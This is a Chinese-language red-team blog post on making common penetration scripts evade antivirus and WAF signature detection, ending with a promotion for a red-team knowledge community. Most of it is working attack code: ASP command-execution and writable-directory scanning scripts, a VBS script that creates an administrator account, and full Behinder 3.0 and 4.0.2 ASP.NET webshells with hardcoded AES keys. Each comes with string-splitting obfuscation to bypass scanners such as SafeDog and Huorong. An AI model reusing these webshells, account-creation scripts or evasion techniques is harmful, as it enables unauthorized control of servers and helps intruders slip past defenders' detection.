常用滲透腳本的特征免殺方式
0x01 前言
我們在滲透測試過程中時常會用到一些腳本,而現(xiàn)在大部分的WAF或殺軟都會根據(jù)一些危險組件名、特定字符做為特征來查殺,只要找到其特征,我們可以使用簡單的混淆、拼接等方式來進行免殺。
以下是筆者在以往測試中遇到過的一些,現(xiàn)在記性不太好,有時想找找不到,煩的很...,先記錄在這里吧!
0x02 ASP執(zhí)行命令腳本
這個腳本會被網(wǎng)站安全狗查殺,特征:Shell.Application,當Wscript.shell組件被卸載不可用時就會提示:[Err] ActiveX 部件不能創(chuàng)建對象,這時可嘗試用這個組件來執(zhí)行命令。
<%Set SA = CreateObject("Shell.Application")SA.ShellExecute "cmd.exe"," /c set > C:\NpointSoft\npointhost2.2.0\web\1.txt","C:\NpointSoft\npointhost2.2.0\web","",0%>

這里只需將Shell.Application組件名進行簡單的混淆即可免殺,不過得注意安全狗在進行一次掃描后可能會記錄該文件的MD5值,需重新創(chuàng)建一個文件才不會查殺。
<%on error resume nextSet SA = CreateObject("She" & "ll.App" & "lication")SA.ShellExecute "C:\windows\system32\cmd.exe"," /c whoami > C:\ProgramData\1.txt","","open",0Response.Write("ok")%>

注:雖然繞過了特征查殺,但【網(wǎng)站防護->行為防護】還是會攔截高危組件的調(diào)用和w3wp.exe命令執(zhí)行等行為,不過這幾個選項在默認安裝時好像只是記錄,并沒有阻止,所以還是可以試一下。

0x03 ASP掃可讀寫腳本
這個腳本會被網(wǎng)站安全狗查殺,特征:Scripting.FileSystemObject,當目標主機磁盤權限設置較為嚴格時需要用到這個腳本來查找可讀寫目錄,以下幾種混淆也會被殺。
"Scripting.FileSystemObject""Script"&"ing.Fil"&"eSyst"&"emObject""sc"&"ript"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t""scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t"

測試過后發(fā)現(xiàn)只需將Scripting.FileSystemObject組件名按以下方式混淆下即可免殺,大家也可以自行改變一下位置看下是否也能免殺。
<%'Response.Buffer = FALSEServer.ScriptTimeOut=999999999Set Fso=server.createobject("scri"&"pt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")%>[...SNIP...]

0x04 VBS添加用戶腳本
這個vbs腳本火絨會殺,特征:WSCRIPT.NETWORK,但360并沒有殺。當目標主機上安裝的有360、火絨和金山毒霸時會攔截添加用戶行為,這時可用這個腳本來繞過。
set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword "pass!@#!23"od.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"

這里只需將WSCRIPT.NETWORK組件名進行簡單的混淆即可免殺。
Const strPassword = "pass!@#!23"Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword strPasswordod.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"


0x05 冰蝎4.0.2-Webshell
冰蝎4.0.2生成的ASP.NET服務端木馬也會被安全狗查殺,特征為28行的Assembly,雖然已被注釋,但還是會被殺,不過我們只需將該特征或整行刪除就能過了。
//byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);

3.0 ASP.NET Webshell:
Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}<%@ImPoRt NaMeSpAce="System.Reflection"%><%Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });%><%Session["gov"]="https://"+"shanghai.g"+"ov.cn";byte[] govn = Encoding.Default.GetBytes/*gov16*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),govTD = Request.BinaryRead/*govvaVRp0zjPmEG*/(Request.ContentLength);Assembly.Load(new System./*govSeosZ*/Security/*govpUQ02bwEb33d2*/.Cryptography/*govEJfw*/./*govrSARoMWEzC9GI*/RijndaelManaged()/*govFcmLIWqMi029kU*/.CreateDecryptor(govn, govn).TransformFinalBlock/*govXAH*/(govTD, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govTD.Length))./*govTmO*/CreateInstance(System.Text.Encoding.Default./*govXhGE4u0ypGLhc*/GetString(Convert.FromBase64String("VQ==")))/*govG*/.Equals(this);%><%@ PagE LaNguAge="C#" %>
4.0.2 ASP.NET Webshell:
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection" %><script runat="server">private byte[] Decrypt(byte[] data){string key="e45e329feb5d925b";data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();aes.Mode = System.Security.Cryptography.CipherMode.ECB;aes.Key = Encoding.UTF8.GetBytes(key);aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);}private byte[] Encrypt(byte[] data){string key = "e45e329feb5d925b";System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();aes.Mode = System.Security.Cryptography.CipherMode.ECB;aes.Key = Encoding.UTF8.GetBytes(key);aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));}</script><%//byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);byte[] c=Request.BinaryRead(Request.ContentLength);string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});Type assembly=Type.GetType(asname);MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});object obj=load.Invoke(null, new object[]{Decrypt(c)});MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });object pay=create.Invoke(obj,new object[] { name });pay.Equals(this);%>
歡迎加入白帽子社區(qū)紅隊知識星球,星球內(nèi)部設立了多個技術版塊,目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術區(qū)”、“漏洞分析”、“工具分享”五大類,星球內(nèi)部新設立紅隊專欄,成立紅隊全方位知識體系。目前紅隊專欄已有以下三大板塊:【外部打點】【權限維持】【內(nèi)網(wǎng)滲透】,即將推出【免殺技術】板塊。還可以與嘉賓大佬們接觸,在線答疑、互相探討。
獎勵計劃
白帽子社區(qū)紅隊知識星球獎勵計劃活動正在進行中,可參考相關渠道免費加入知識星球,不僅能夠在星球中進行學習,更能夠在星球中靠自己的技術能力賺取豐厚收益。詳細介紹點擊文章:
▼掃碼關注白帽子社區(qū)公眾號&加入知識星球▼
